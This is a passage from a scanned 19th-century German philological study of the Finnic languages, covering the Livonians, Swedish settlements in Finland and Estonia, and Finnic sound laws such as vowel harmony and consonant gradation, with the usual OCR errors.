3) Sur Tantiquite des Lives en Livonie , in den Acta soc. sc. fenn.
Vin, 2 (1866), s. 389 ff. Wenn dagegen der verf. die Liven vom
karelischen zweig ausgegangen sein lässt, so kann ich hierin durchaus
nicht mit ihm übereinstimmen. Die sprachlichen gründe , die er anführt,
deuten nur auf ein höheres alter und wiegen bei weitem die beweise
nicht auf, die man für das gegentheil anführen kann. Merkwürdig
ist es allerdings, dass die Kar eleu in Olonerts ihre spräche Livvin-
kieli nennen; aber dies könnte sich vielleicht anders erklären lassen,
und überhaupt ist es sehr zweifelhaft, ob der name Liven ursprüng-
lich diesem volke selbst angehört.
Thomsen, £influfls d. germ. sprachen. 2
18 Einleitimg.
16 einwohner ein lettisches volk waren und dass die Liven und
Kuren erst später eingewandert sind, nach seiner meinung
etwa vom anfang des 8. jahrh. an; dazu stimmt also ganz
das , was wir oben über die Ehsten sagten. Später ist aller-
dings der verlorene boden zum theil wiedergewonnen worden;
denn gerade die lettische spräche hat die livische ver-
drängt. — Die nvischen einwohner Kurlands nennen sich
meist nur Kändalist, strandbewohner, oder Kala-mied,
fischer; die wenigen, welche in Livland übrig geblieben
sind, welches sie, nach dem lettischen Wid ferne, Vi du m ö
nennen, gebrauchen zwar den namen Libi, dieser ist aber
wahrscheinlich von den Letten entlehnt, von denen sie lAm,
lÄblschi (= An6b Lib' bei Nestor) genannt werdep. Ihre
spräche ist bedeutend abgeschliffen und verwildert, aber
trotzdem von grosser Wichtigkeit, weil sie zugleich manche
merkwürdige züge enthält, die auf eine sehr frühe trennung
von ihren stammverwandten hinweisen.
Noch wird es vielleicht nicht überflüssig sein, einen
blick auf die nordischen bevölkerungen zu werfen , die ausser-
halb der skandinavischen halbinsel in der nachbarscljaft der
Finnen wohnen. Bekanntlich hat die schwedische spräche
durch Schwedens herrschaft und einfluss auf die cultur in
Pinnland als die allgenjeine Verkehrssprache der gebildeten
allmählich ein grosses gebiet gewonnen, etwa in ähnlicher
weise wie die deutsche in den Ostseeprovinzen. Aber sie
hat zugleich eine stütze gefunden in den acht schwedischen
bevölkerungen , die sich hier niederliessen. ^ Diese lassen
sich am richtigsten auf drei verschiedene gruppen zurück-
fuhren, von denen die erste auf dem theil der küste von
Nyland (der südlichsten landschaffc Finnlands) wohnt, der
westwärts von dem Kymmenefluss liegt , die zweite , die bei-
nahe eine fortsetzung der ersten bildet, an den skären im
eigentlichen Finnland und auf den Alandsinseln, die dritte
an der küste des südlichen theils der landschaft Osterbotten
vom kirchspiel Sastmpla an (früher noch etwas südlicher)
1) Vgl. W^arelius, Bidrag til Finlands kännedom i ethnografiskt
afseende, in der ztschr. Suomi 1847, s. 113 ff.
Schweden in Finnland und Ehstland. 19
bis Gamla-Carleby. In der letztem ^gegend haben, wie 17
schon äie durchgehends finnischen Ortsnamen zeigen , ehemals
Finnen gewohnt, und die schwedische einwanderung, die
von verschiedenen orten in Schweden ausgieng , beginnt erst
etwa um das jähr 1300.^ Auch im eigentlichen Pinnland
scheint die schwedische niederlassung erst in einer spätem
zeit vor sich gegangen zu sein. Wann oder woher die
Schweden nach Nyland gekommen sind , dafür fehlen dagegen
alle historischen anhaltspunkte; die sehr überwiegend schwe-
dischen Ortsnamen, zum theil von ziemlich alter form,*
scheinen dafür zu sprechen, dass sie hier lange gewohnt
und wol kaum im anfang ein ursprünglich finnisches volk
verdrängt haben. Die spräche hat, besonders im östlichen
Nyland, manche alte eigenthümiichkeiten bewahrt, die auf
ein frühes aufhören der theilnahme an der bewegung der
übrigen schwedischen mundarten deuten.^ Übrigens ver-
dient es bemerkt zu werden, dass auch die schwedische
spräche im munde der gebildeten Finnländer mehrere eigen-
thümiichkeiten, theils des wortvorrathes , theils der aus-
spräche, mit der Volkssprache gemeinsam hat, wodurch sie
sich von der in Schweden gesprochenen unterscheidet, und
es unterliegt keinem zweifei, dass sie früher bei weitem
stärker und allgemeiner von den dortigen dialekten beein-
flusst war und erst allmählich sich der ' reichssprache '
genähert hat, eine bewegung, an der in unserer zeit die
1) Vgl. Koskinen in der ztschr. Suomi 1857, s. 135 ff.
2) A. 0. Freudenthal, Om svenska ortnanin i Nyland, in Finska
vetenskaps-societetens Bidrag til kännedom af Finlands natur och folk,
8. heft; vgl. desselben Om svenska ortnamn i egentl. Finland; med en
sidoblick pä dem , som förekomma i Satakunda och Österbotteii ; auch :
Om Alands ortnamn , daselbst.
3) üeber den dialekt vgl. ausser Warelius a. a. o. besonders den
aufsatz von A. J. Hipping, Om svenska spräkdialecten i Nyland,
in den Acta soc. scient. fenn. II, s. 1077 — 1176 , der jedoch sehr viel zu
wünschen übrig lässt. Beispiele für die mundart im lehn Abo (eigtl.
Finnland) bietet die ztschr. Suomi 1847, s. 154 ff.; für die österbott-
nische vgl. dieselbe ztschr. 2te reihe V, s. 30 ff. VI , s. 166 ff. Was
ich im folgenden anführe, beruht gröstentheils auf eigenen beobach-
tungen oder mittheilungen kundiger freunde.
2*
20 Einleitung.
Volkssprache selbst mehr und mehr theilnimmt , weshalb es
18 sehr zu wünschen wäre, dass diese nferkwürdigen Über-
bleibsel jetzt, so lange es zeit ist, genauer untersucht wer-
den möchten. Wie wichtig sie für unsere aufgäbe sind,
wird aus dem schon gesagten leicht ersehen werden.
Eine andere interessante kleine schwedische ^Bevölkerung
findet sich südlich vom finnischen busen in einigen orten
der nordwestküste von Ehstland und auf den benachbarten
inseln;^ zum theil,sind sie mit Ehsten vermischt, diß über-
haupt im laufe der zeit ihr gebiet etwas eingeschränkt haben.
Ihr in mancher hinsieht höchst interessanter dialekt ^ gleicht
am meisten dem von Nyland, und einige orte scheinen auch
wirklich von dort aus bevölkert zu sein; indessen herrscht
noch grosse Unklarheit über ihren Ursprung. Dass sie zugleich
mit den Schweden in Nyland ein bei der muthmasslichen
einwanderung der Skandinavier aus dem Osten zurückgeblie-
bener rest seien , ist eine unbeweisbare vermuthung ; in der
spräche liegt nichts , was sie nicht geradezu als schwedisch
erwiese , und man kann in dieser bevölkerung nur ein leben-
diges zeugniss für die vorgeschichtliche stetige Verbindung
der Skandinavier, besonders der Schweden, mit den öst-
licheren, von Pinnen bewohnten gegenden erblicken.
III.
Grundzüge der finnisch - lappischen lautverhältnisse.
Um an einer stelle die. wichtigsten sprachlichen Voraus-
setzungen für das rechte verständniss und die rechte beur-
theilung des folgenden zusammenzustellen, will ich eine kurze
Übersicht über die grundzüge der lautverhältnisse der finni-
schen sprachen geben , indem ich namentlich versuchen will,
sie mehr von der historischen seite zu betrachten, als das
in den gewöhnlichen hilfsmitteln geschieht. Dagegen muss
1) Svenskar i Estland , Liffland och det inre af Ryssland , in der
Nordisk tidskrift, herausg. von A. Sohiman (Stockh. 1852), s. 129fF.
C. Ruszwurm, Eibofolke oder die Schweden an den Küsten Ehst-
lands und auf Eunö. Reval 1855. I — 11.
2) S. besonders Ruszwurm a. a. o.'II, s. 293 — 368.
Lautverhältnisse des finnischen; vocale. 21
icli in betreff des ganzen übrigen Sprachbaues auf diese ver-
weisen, da derselbe unsere hauptaufgabe nicht weiter berührt;
ich erinnere nur daran, dass es ein aus der ganzen einrichtung
der finnischen sprachen naturlich sich ergebendes gesetz ist,
dass die wurzel stets die erste stelle im worte und zugleich
den ton hat, worauf denn in der regel jede der folgenden 19
ungleichen Silben (im finn. jedoch nicht die letzte im wort)
einen schwächeren nebenton hat, z. b. finn. uskomatto-
muudellansa, läpp, rökkadällastuvvabsettet.
Wir betrachten zunächst A. den finnischen stamm,
dann B. den lappischen, namentlich sein verhältniss
zum finnischen.
A. Der flnnlsehe stamm. Da das finnische am voll-
ständigsten bearbeitet ist und zugleich in manchen beziehun-
gen unter allen hierher gehörigen sprachen (die übrigens
einander so gleichen, dass man sie fast als nur abweichende
mundarten betrachten kann) auf der ältesten stufe steht, so
ist es natürlich , dasselbe der folgenden darstellung zu gründe
zu legen. ^
Die einfachen vocale sind im finn. folgende 8: a,
(oflFen), u (nähert sich einem geschlossenen o); ä (ganz
offen), ö (offen), y (ü); e (offen), i; von diesen heissen die
drei ersten harte, die drei nächsten weiche und die zwei
letzten mittlere vocale; über die bedeutung hiervon unten.
In den andern sprachen kommen hierzu noch einige andere,
namentlich im weps. , wot. , ehst. und liv. o d. h. ein unrei-
nes , das in ö übergeht , aber übrigens verschieden nuanciert
1) Hülfsmittel für das finn. gibt es manche. Die brauchbarste
und neueste grammatik ist von G. E. Euren, Finsk spräklära (Aho
1849 , 2te aufl. Tavastehus 1866) ; die einzige neuere deutsch geschrie-
bene ist von Kellgren, Die Grundzüge der finnischen Sprache mit
Rücksicht auf die andern altaischen Sprachen (Berlin 1847). Wörter-
bücher sind G. Renvall, Lexicon linguae finnicsB, cum interpretatione
duplici, copiosiore latina, breviore germanica (Aboae 1826). G. E. Euren,
Finsk - svensk ordbok (Tavastehus 1860). (E. L ö nnr o t ) , Suomalainen
ja ruotsalainen sanakirja (d. h. Finn.-schwed. Wörterbuch; es sind
3 hefte erschienen, die etwas in den buchstaben K hineinreichen.) —
Hülfsmittel für die anderen sprachen sind im vorhergehenden genannt.
22 Einleitung.
werden kann, und im liv. ein zwischen ö und ü liegender
laut, den ich nach Sjögren -Wiedemann mit bezeichne.^
Alle diese werden stets kurz ausgesprochen, auch vor einem
einfachen consonanten (z. b. in finn. kylä ist der vocal
eben so kurz wie in kyllä, in kato wie in katto), und
müssen wol von den langen unterschieden werden. Diese,
welche im finnischen und gewöhnlich auch im ehstnischen
durch Verdoppelung bezeichnet werden, sind aa, uu, ää,
ii; langes (und oflfenes) 00, öö und e e findet sich im finn.
nur da, wo der lange vocal durch eine jüngere ausstossung
eines dazwischenstehenden consonanten und darauf eingetre-
tene contraction entstanden ist (s. unten); sonst sind sie hier
und gemeiniglich auch im li vischen ^ in Wurzelsilben stets
20 in uo, yö und ie und in einigen jämischen mundarten Finn-
lands weiter in ua, yä und iä^ übergegangen. Ursprüng-
liches (und mehr geschlossenes) ö , ö und e in der Wurzelsilbe
kommt eigentlich nur im ehstnischen, wotischen und wep-
sischen vor; aber selbst da, wenigstens in den beiden erst-
genannten sprachen, hört man meist einen ganz schwachen
Vorschlag von u (y) und i, ja in einigen ehst. dialekten
sind sie gemeiniglich beinahe mit uu, üü und ii zusammen-
gefallen. Es ist nicht unwahrscheinlich, dass die diphthon-
gische ausspräche bereits auf der gemeinschaftlichen stufe
vorhanden war,^ und zwar vielleicht selbst vor der abtrennung
1) Vgl. Sjögren, Gesamm. Schriften II, 1 (Liv. Gramm.) s. 10.
2) Auch hier kommen o, ö^, e und zugleich ö wol in gewissen
fällen vor, sind aber da zumeist auf ganz andere weise entstanden,
nämlich durch zusammenziehung von diphthongen der zweiten reihe.
3) Dagegen bekommt in den karelischen dialekten y zum theil auch
in andern, wie z. B. im rev. -ehstnischen, langes a a und ää oft eine
mehr oder weniger deutlich diphthongische ausspräche wie oa, eä
oder selbst wie u a , i ä. — Im liv. findet sich (gewöhnlich für urspr. ä)
0, ein mittellaut zwischen und ä, und a, ein ähnlicher laut zwischen
a und ä, die in verschiedenen dialekten mit einander und mit a wech-
seln und stets lang sind; ich bezeichne sie hier mit ö ujid ä.
4) Von anderen einzelnen erscheinungen , die hierauf hinweisen,
will ich den leser nur auf den in Ahlqvists wo tischer grammatik § 18
(vgl. Ahreris, Gramm, d. ehstn. spr. § 133) erwähnten Übergang von
ö in u(v) u. s. w. aufmerksam machen, der sich kaum anders als durch
die annähme einer älteren diphthongischen ausspräche erklären lässt.
Lautverhältnisse des finnischen; vocale. 23
des lappischen (vgl. unten) ; jedesfalls glaube ich nicht , dass
es möglich ist, in der behandlung dieser laute einen durch-
gängigen unterschied zwischen dem jämischen und karelischen
zweige zu finden.
Eine zweite klasse von diphthongen bilden diejenigen,
welche i oder u (y) als letztes glied haben. Mit i werden
im finn. solche aus allen kurzen vocalen gebildet (i natürlich
ausgenommen), mit u und y (vgl. unten) kommen au, ou,
äy, öy, eu, iu (ey, iy) vor; nur die ersten können
ausserhalb der Wurzelsilbe vorkommen. Ganz entsprechende
laute zeigen die verwandten mundarten mit geringen, leicht
erklärlichen abänderungen , z. b. Übergang des zweiten ele-
mentes in die halbvocale j und v u. desgl. ^ Eine parallele
mit dem lateinischen kann man vielleicht in den eigenthüm-
lichen diphthongen a e und o e finden, welche im reval-
ehstn. und einigen westfinnischen mundarten oft für ai und
oi eintreten. — Alle diese müssen wahrscheinlich schon 21
auf der gemeinsamen stufe vorhanden gewesen sein.
Der Ursprung sowol einiger kurzen vocale (namentlich
ä, ö und y) als der langen und der diphthonge ist noch
sehr wenig untersucht. In einigen fällen scheint vocal-
verlängerung ganz willkürlich einzutreten, besonders vor
mehreren aufeinanderfolgenden coasonanten; so wechselt z. b.
finri. lahti und laahti, bucht, lakso und laakso, thai,
k arme und käärme, schlänge (von lit. hirmis) u. s. w.
In einigen andern föUen, namentlich stets ausserhalb der
Wurzelsilbe, ist sie einer contraction zuzuschreiben, die in
folge einer älteren oder jüngeren consonantenausstossung ein-
trat, z. b. finn. oon = olen, ich bin, veen = veden,
gen. von vesi, wasser, taloon == talohon, in den hof,
makaan, ich liege = weps. mag ad an; vgl. ferner finn.
hiiri, maus, und mordwinisch §ejer, ung. eg^r, ostjak.
tei;er'; f. jää, eis, und läpp, jegjya, mordw. jäi, ostj.
jeiyk, ung. jeg; f. pii, zahn im rechen, und läpp, badne,
zahn, mordw. pei, syrj. pin, ostj. peiyk, ung. fog; f. pää,
1) Die stärksten nnd willkürlichsten Veränderungen der diphthonge,
wie überhaupt im ganzen vocalsystera f treten im livischen ein,
24 Einleitung.
haupt , und läpp, b a g j e u. s. w. ; auch die diphthonge kön-
nen wol bisweilen so entstanden sein. Sowol diphthongierung
als Verlängerung der vocale tritt auch als ersatz für einen
ausgefallenen consonanten ein. So wird im ehstn. , wot. und
liv. n vor s mit ersatzdehnung weggeworfen, z. b. ehst. käz,
deckel, = f. kansi, kuz, nagel, klaue, = f. kynsi.
Etwas ähnliches findet auch statt in einigen mundarten,
welche die in andern bewahrten Verbindungen von muta mit
liquida, kr, tr, pr,kl und pl, nicht gern aussprechen, z. b.
westfinnisch :
karelisch ;
wepsisch :
wotisch:
ehstnisch :
livisch:
nauran
nakran
nagran
nagran
naeran
nagr5b
ich lache
teiri, teeri,
tetri
tedr ■
tedre
tedr
ted'd'örs.
ti eri, birkhahn
tedr ÖS
puuro
putro
pudr
-
pudr
-
gekochte grütze
•
seura
sepra
••
söbra
sÖbr
sobbprs
gesellschaft
freund
freund
freund
seula
siekla
segl
sigla
rev. s öl
söggol,
sieb, seihe
do
rp. sögl, segl
sögl.
22 Von den vocalischen gesetzen ist das merkwürdigste
und wichtigste die sogenannte vocalharmonie, welche
darin besteht, dass, wenn die Stammsilbe einen harten vocal
oder einen damit zusammengesetzten diphthong enthält,
keine der folgenden silben einen weichen bekonunen kann,
und umgekehrt; nur die mittleren können mit beiden Mas-
sen verbunden werden, doch ziehen sie am liebsten die
weichen vor, z. b. f. muuttumattomuudestansa, tyy-
tymättömyydestänsä, silmällä, Ilmarista. Voll-
ständig rein durchgeführt findet sich diess gesetz nur im fin-
nischen und russisch -karelischen; im wotischen und dorpat-
ehstnischen konmien einzelne spuren davon vor, im wepsischen,
reval- ehstnisch en und livischen dagegen durchaus keine.
Das System der consonanten ist sehr einfach. Von
mutis konmien im anlaut ursprünglich nur k , t , p vor ^ und
ein Finne kann nur mit der grösten Schwierigkeit die auf-
1) Im inlaut ist das yerhaltniss etwas anders, worüber gleich
unten mehr. *
Lautverhältnisse des flnmschen; vocale, consonanten. 25
fassung und ausspräche der media g, d, b lernen; doch
finden sich letztere im wepsischen, wotischen und livischen,
besonders in neueren lehnworten. Von den Zischlauten findet
sich ursprünglich nur s und inlautend das zusammengesetzte
ts, welches dialektisch mit ss, tt, ht, tä wechselt. Ausser-
halb des finnischen in seiner reineren gestalt trifft man auch
bisweilen z, S, z und ß (tS). Besonders zu bemerken ist,
dass k im wot vor weichen vocalen zu 8 wird, z. b. <5en6ä
=^ f. kenkä, schuh. Der einzige hauchlaut ist h^ das
inmier ausgesprochen werden muss , auch vor einem anderen
consonanten, z. b. mahla, nahka, kohta. Es ist oft,
wenn auch keineswegs immer, aus einem ursprünglichen
s -laut hervorgegangen, wie der spiritus asper im griechi-
schen. Im inlaut zwischen vocalen wird es oft ausgestossen,
z. b. f. kaunis, gen. meist kauniin, aber karelisch kau-
nihin; im wot., liv. und einigen ehstnischen dialekten Mit
es auch im anlaut fort, z. b. wot. einä, liv. äina = finn.
heinä, heu (von lit. szenas, vgl. slaw. seno),^ — Die
übrigen consonanten brauchen nicht besonders besprochen
zu werden.
Im inlaut kommen oft Verbindungen von zwei conso-
nanten, namentlich einer liquida mit einer j^uta, seltener
von dreien vor. Im anlaut gilt dagegen das gesetz , dass 23
kein acht finnisches wort mit mehr als einem
consonanten beginnen kann, ja die ausspräche meh-
rerer ist für ein finnisches organ wo nicht unmöglich, so
doch mit einer für uns auffallenden Schwierigkeit verbunden.*
1) Nor dialektweise kommt f vor , nnd zwar fast nur in einigen
wenigen fremdwörtern.
2) Bemerkenswerth ist es aber umgekehrt, dass, wenn einzelne
Individuen durch fremden einfluss diese fertigkeit der ausspräche erlangt
haben, dieselben dann bisweilen auch einen oder mehrere consonanten,
besonders s, ganz überflüssig vor an setzen, entweder unwissentlich,
weil das rechte gefnhl abgestumpft ist , oder weil sie glauben sich fein
auszudrücken. So soll einer z. b. ^ das spinnrad der frau des probstes *
(schwed. prostens frus [spinn-] rock) sprovastinsprouvan sprukkf
genannt haben. Vereinzelt kann dasselbe auch in ganzen dialekten
vorkommen; so finde ich in Wiedemanns ehstn. wörterb. dialektisch
trüt neben rüt, fensterscheibe (vom schw. ruixb)-, ebenso liv. sköd',
26 Einleitung.
Ein anderes, sehr wichtiges gesetz, das den inlaut
betrifft, ist die sogenannte consonantenschwächung;
sie findet statt, wenn eine kurze offene silbe, die mit k, t
oder p beginnt, geschlossen wird, und besteht darin, dass
1) doppeltes kk, tt, pp nach vocalen oder 1, m, n, r ver-
einfacht und 2) einfaches k, t, p. in denselben fallen und
nach h ^ in verschiedener weise verändert werden , worüber
es hier genügen muss, auf die einzelnen grammatiken zu
vei*w^isen ; z. b. f. a k k a , altes weib , gen. -akan, illativ
akka(h)an; myrkky, gift, gen. myrkyn; polttaa,
brennen, 1. pers. poltan; seppä, schmied, pl. sepät;
joki, fluss, gen. jo'en; nahka, haut, feil, pl. nahat;
härkä, ochse, gen. härjän (westfinn.) oder härän (ost-
finn.); onki, angel, gen. ongen (ng wie ^jy oder nn aus-
gesprochen); mato, wurm, gen. madon, maron, malon
(westfinn. dialekte) oder maon, mavon (ostfinn.); silta,
brücke, sillalla, auf der brücke; lintu, vogel, gen. lin-
nun; haapa, espe, gen. haavan; lampi, landsee, gen.
lammin. Wenn mehrere auf einander folgende Silben ver-
änderliche consonanten enthalten, so wirkt selbst einfaches
k, t, p als schwache form von der ersten reihe auf die
vorausgehenden zurück, als ob die silbe geschlossen wäre;
2
sked' neben ked', kette (nM.kede), u. m. a.; hier liegt es jedoch oft
daran, dass die Wörter durch das lettische gegangen sind, welches
eine gewisse neigung zum voransetzen eines s hat. In noch viel grösse-
rem masse kann, wie ich selbst vielfach' gelegenheit gehabt habe
wahrzunehmen, diese Vermischung eines einzelnen und zusammenge-
setzten anläutes hervortreten, wenn ein genuiner Finne eine fremde
spräche lernen soll ; es kann sehr lange dauern , ehe er es dazu bringt,
z. b. schw. skrifva von rifva , springa von hringa unterscheiden zu
können , und zwar wird er eben so oft das erste für das letztere sagen,
wie umgekehrt.
1) In einzelnen dialekten auch in den Verbindungen sk, st, tk.
2) Einfaches k, t, p zwischen zwei vocalen kommt als starke
form nach einer ganz unbetonten silbe nicht vor und überhaupt selten
innerhalb der werte ; sondern wo man etymologisch diese laute erwar-
ten sollte, ist k gern zu j, p zu v geworden und t fortgefallen, und
veränderliche consonanten in den vorhergehenden silben haben dann
natürlich immer die starke form, z. b. kataja, wachholderbusch , für
*kataka, weps. kadag; oikea oder oikia, richtig, für *oiketa,
Lautverhältnisse des finnischen; consonanten. 27
•
z. b. kantaa, tragen, 1. pers. kannan, davon abgeleitet 24
kannattaa, 1. pers. kannatan (nicht kantatan), und
weiter kannatuttaa, 1. pers. kannatutan.
Diess gesetz geht mit einigen geringen abweichungen
durch alle sprachen mit ausnähme des wepsischen und livi-
schen durch und bleibt selbst in den fallen aufrecht erhal-
ten, wo die endurigen so abgeschliffen sind, dass die Ursache
nicht mehr sichtbar ist, z. b. ehstn. sepp, gen. sepa, ill.
seppa; madu, gen. mau u. s. w. Die genannten zwei
sprachen haben dagegen in der regel unverändert k, t, p
entsprechend der ersten reihe im finn. , und g, d, b ent-
sprechend der zweiten,^ z. b. weps. ak, akan; härg,
härgan; mado, madon; sild, sildal; lind, lindun;
häb, h ab an u. s. w.
Dass die jetzige mannigfaltigkeit der Übergänge nicht
ursprünglich öein kann, beweist die vergleichung mit den
ältesten formen, die im finn. überliefert sind; M. Agricolas
Übersetzung, des neuen testamentes (1548) ^ hat so z. b.
werghan, jetzt veran (von verka); tilghalla, jetzt
tilalla (von tilka); ylghen, jetzt yljän, ylän (von
ylfcä): teghe, jetzt te^e' (3. pers. ind. tekee); coghot-
catta, jetzt ko'otkaatte (1. pers. ind. kokoon); wir-
dhat, jetzt virrat (von virta); ebenso wol wie kedholla,
von keto; wdhen, jetzt uuden (von uusi für *uuti);
sanodhen, jetzt sanoen (doch bereits pellolla von
pelto, annamma neben der 3. pers. anda == jetzigem
antaa).
Vergleichen wir nun diese formen mit den wepsischen
und livischen, so wird es wahrscheinlich, dass die schwache
form von k, t, p ursprünglich in allen fällen g, d, b war;
aber b muss gewiss bereits frühzeitig in denselben fällen
weps. oiged, läpp, vuojggad; sanaa (Infinitiv von sana, wort)
für *sanata, weps. sanad; aber dieselbe form von alanko, nie-
derung, kann neben alankoa aucb alankota heissen; teke-vi,
er thut , macht , neben voi-pi, er kann.
1) Vgl. Sjögren, Ges. Sehr. 11, 1 (Liv. Gramm.), s. 99 ff.
2) Ich entnehme diese beispiele den in der ztschr. Suomi 1845,
s. 3S2 abgedruckten proben.
28 . EiDleitung.
wie jetzt in v übergegangen sein, und bei g und d muss
man vielleicht zum theil eine hauchende ausspräche (durch
Agricolas Schreibweise angedeutet?) als Übergangsstufe zu
der jetzigen annehmen. Am längsten scheint der jämische
zweig das g und d bewahrt zu haben, und er unterscheidet
sich dadurch von dem karelischen, welcher diese laute früh-
zeitig fortgeworfen haben muss.
25 Den Ursprung und die geschichte dieses gesetzes weiter
zu verfolgen , liegt ausserhalb unserer aufgäbe und ist jetzt
noch mit grossen Schwierigkeiten verbunden. Aber es drängt
sich doch sogleich die frage auf: beruhen diese Übergänge
eigentlich auf einer Schwächung oder auf einer Verstärkung?
ist die schwache oder die starke form die ursprüngliche?
Da sich bei entlehnungen aus fremden sprachen, wie wir
unten sehen werden, die ursprünglichen laute durchgehends
in der schwachen, nicht in der starken form wiederfinden,
so ist es bei vergleichung mit den verwandten sprachen nicht
unwahrscheinlich , dass jene (natürlich in der oben nachge-
wiesenen älteren gestaltung) auch sonst im allgemeinen als
ursprünglich und die starke form als eine von dem tone
bewirkte entwickelung daraus aufzufassen ist. Nur muss
man dann zugleich annehmen, dass dieselben Übergänge
durch analogie auf andere fälle übertragen sind, welche
deutlich nicht als Verstärkung, sondern als Schwächung
erscheinen (besonders in solchen fallen, wo eine Verstärkung
nicht leicht möglich war, z. b. in der lautgruppe ht, dialek-
tisch auch in sk, st, tk, ferner in einigen flexionsendun-
gen u. s. w.), und als solche, glaube ich, dass die ganze
erscheinung jetzt am leichtesten und richtigsten aufgefasst
wird. ^ Bis zu einem gewissen grade muss dieser Übergang
bereits der gemeinsamen stufe angehört haben, und die
unveränderlichkeit im wepsischen und livischen ist gewiss
eher für das resultat einer späteren rückwärtsgehenden aus-
gleichung (vgl. den verlust des u- Umlautes in den meisten
fällen im dänischen und schwedischen), als für eine bewahmng
1) Vgl. Kellgren, Die Grundzüge der finn. Sprache s. 32ff., wo
indessen die darstellung auf einer andern betrachtungsweise beruht,
als der hier entwickelten.
Lantverhältnisse des finnischen; consonanten; anslant. 29
des ursprünglichen Verhältnisses anzusehen. Ein zeug-
niss hierfür sehe ich z. b. in formen wie weps. ak, altes
weib, = f. akka; sep, illat, sepha, pl. sepad, schnued,
= f. seppä, se^ä(h)än, sepät; lop, gen. lopun,
ende, = f. loppu, gen. lopun; da nämlich die fortwerfung
des auslautenden vocals durch die länge der Wurzelsilbe
bedingt ist (s. unten s. 30 f.), so muss man annehmen, dass
sie in diesen und ähnlichen Wörtern zu einer zeit eintrat, 26
wo der consonant noch verdoppelt war wie im finnischen
(vgl. weps. vil, wolle, = f. villa, aber iga, illat, igaha,
alter, = f. ikä, ikä(h)än; abu, hilfe, == f. apu u. ähnl.).
Noch muss ich mit einigen werten besonders den au!^s-
laut besprechen. Eücksichtlich der folgenden beispiele
erinnere ich daran, dass bei Substantiven der nom. stets
gleich dem stamme ist, insofern dessen endung nicht mit
den auslautsgesetzen in conflict kommt. Ein finnisches wort
kann auf alle kurzen vocale auslauten, doch sehr selten auf
reines e; wenn lange vocale im auslaut mehrsilbiger Wörter
vorkommen, sind sie, wie überall ausserhalb der Wurzelsilbe,
späteren Ursprungs, und nur einsilbige Wörter können auf
ursprünglich lange vocale oder diphthonge ausgehen.^ Min-
der häufig sind im ganzen die ausgänge auf einen consonan-
ten; von diesen können im auslaut nur einfaches s, t, n
vorkommen, seltener 1, r, und endlich h oder ein schwächerer
hauchlaut Q, welcher stets aus einem anderen consonanten,
meist aus s ^ hervorgegangen ist ; andere consonanten oder
1) Weswegen in acht finn. Worten der eine vocal vor dem andern
bevorzugt wird , dafür lässt sich nur in äusserst wenigen fällen irgend
ein grund aufweisen; nur selten haftet eine bestimmte ableitungs-
bedeutung an einem einzelnen vocale, wie -o in manchen Substantiven, •
die von verben abgeleitet sind, z. b. teko, that, handlung, von
te'en, ich thue; näkö, gesiebt, von näen, ich sehe; tieto, kennt-
niss, von tiedän, ich weiss, oder mit verkleinernder bedeutung,
besonders in der spräche der Volksdichtung, z. b. meto von mesi,
honig; taivo von taivas, himmel.
2) Am ende von subst. tritt er fast nur nach e ein, in welchem
falle die erbaltung des s ausser in einzelnen dialekten sehr selten ist (z. b.
kirves, axt). Dialektisch wird er auch durch t, seltener k ersetzt
oder fehlt ganz.
30 Einleitung.
consonantenverbindungen , die im auslaut nicht geduldet
werden, müssen demgemäss verändert werden, z. b. paljas
(== dem stamm), nackt, sormus (st. sormuks-), ring;
kolmas (st. kolmant- oder kolmalid-), der dritte;
ollut, gewesen; ahven, der barsch; sydän (st. sydäm-),
herz; sammal, moos; sisar, Schwester; vene' (für
venes), boot; ota' (für otak), nimm! Im auslaut ein-
silbiger Wörter kommen consonanten in der regel nur als
flexionsendungen vor, z. b. maan gen., maat nom. pl. von
27 maa, erde; sonst verlangt die verliebe der spräche för den
trochaischen tonfall und vocalischen auslaut, dass an ursprüng-
lich einsilbige, consonantisch auslautende stamme ein vocal
angefügt wird, nicht nur als bindelaut zwischen stamm und
flexionsendung, sondern auch da, wo der stamm rein erschei-
nen sollte, namentlich im nom. sing., z. b. käsi (für *kät-i),
hand, gen. käd-e-n, inf. kät-tä, vom stamm kät- oder
käd- (nicht käte-). Bei mehrsilbigen stammen ist dagegen,
wie die gegebenen beispiele bereits zeigen, diess letztere in
der regel nicht nöthig. ^
In einigen von den jämischen mundarten treten indessen
manche abweichungen von diesen auslautsgesetzen ein in
folge der Verkürzung der endsilben, indem diese theils ein
auslautendes - n (in der regel ohne ersatz) , theils einen kur-
zen vocal am Schlüsse von drei- oder mehrsilbigen Wörtern
und in zweisilbigen Wörtern mit (ursprünglich oder durch
1) Gewöhnlich wird von den finn. grammatikem dieser *binde-
vocar mit zum" stamm gerechnet. Bei werten wie z. b. palj as, gen.
palja(h)an, kaunis, gen. kauni(h)in , vene*, gen. vene (h)en,
sormus, gen. sormuksen, wird da als stamm paljaha-,. kau-
. nihi-, venehe-, sormukse- angegeben, und der nom. ohne sicht-
bare nothwendigkeit als daraus verkürzt angesehen. Der ursprüngliche
stamm muss doch wol paljas-, kaunis-, venes-, sormuks- sein
und fallt wie gewöhnlich mit dem nom. zusammen , nur mit der ab wei-
chung, dass s nach e zu * (h) wird und die lautgruppe -ks ihr k ver-
lieren muss; der hinzugefügte vocal ist nur ein bindelaut, ursprünglich
wol immer e. Indem nun einfaches s zwischen zwei vocale tritt, geht
es in h über, und diess hat wieder zur folge, dass der bindevocal von
dem vorhergehenden vocal assimiliert wird, so dass also *paljas-(e)-n
zu palj ah an wird. (vgl. gr. fi^reog = skr. und indog. manas-a-s.)
Lautverhältiiisse des finnischen; anslaut. 31
position) langer Wurzelsilbe oft abwerfen; unter der letzten
bedingung kann in gewissen fallen auch ein kurzer vocal in
einer offenen zweiten silbe von mehr als zweisilbigen werten
fortfallen, z. b. finn. koira, gen. koiran, hund, aber weps.
koir, gen. koiran, ehst. koer, gen. koera, wot. koira,
gen. koirä;^ f. lintu, gen. linnun, vogel, aber weps.
lind, gen. lindun, ehst. lind, gen. linnu, wot. lintu,
gen. linnü, liv. lind, gen. ebenso; f. sydän, gen. sydä-
men, herz, aber weps. sydai, gen. sydämen, ehst. süda^
gen. südame, wot. süä, gen. süäme, liv. südäm, gen.
ebenso; f. siemen, gen. siemenen, same, aber weps. 28
semen, gen. semnen, ehst. seme, gen. semne, wot.
seme, gen. semene; f. värttinä, gen. -n, spindel, aber
weps. vartin, gen. värtnan, ehst. warten, gen. wärtna,
wot. värttänä, gen. -nä (von russ. BepeTeno veretenb).
B. Den lappischen stamm war Bask im ganzen
geneigt für älter und ursprünglicher anzusehen , als den fin-
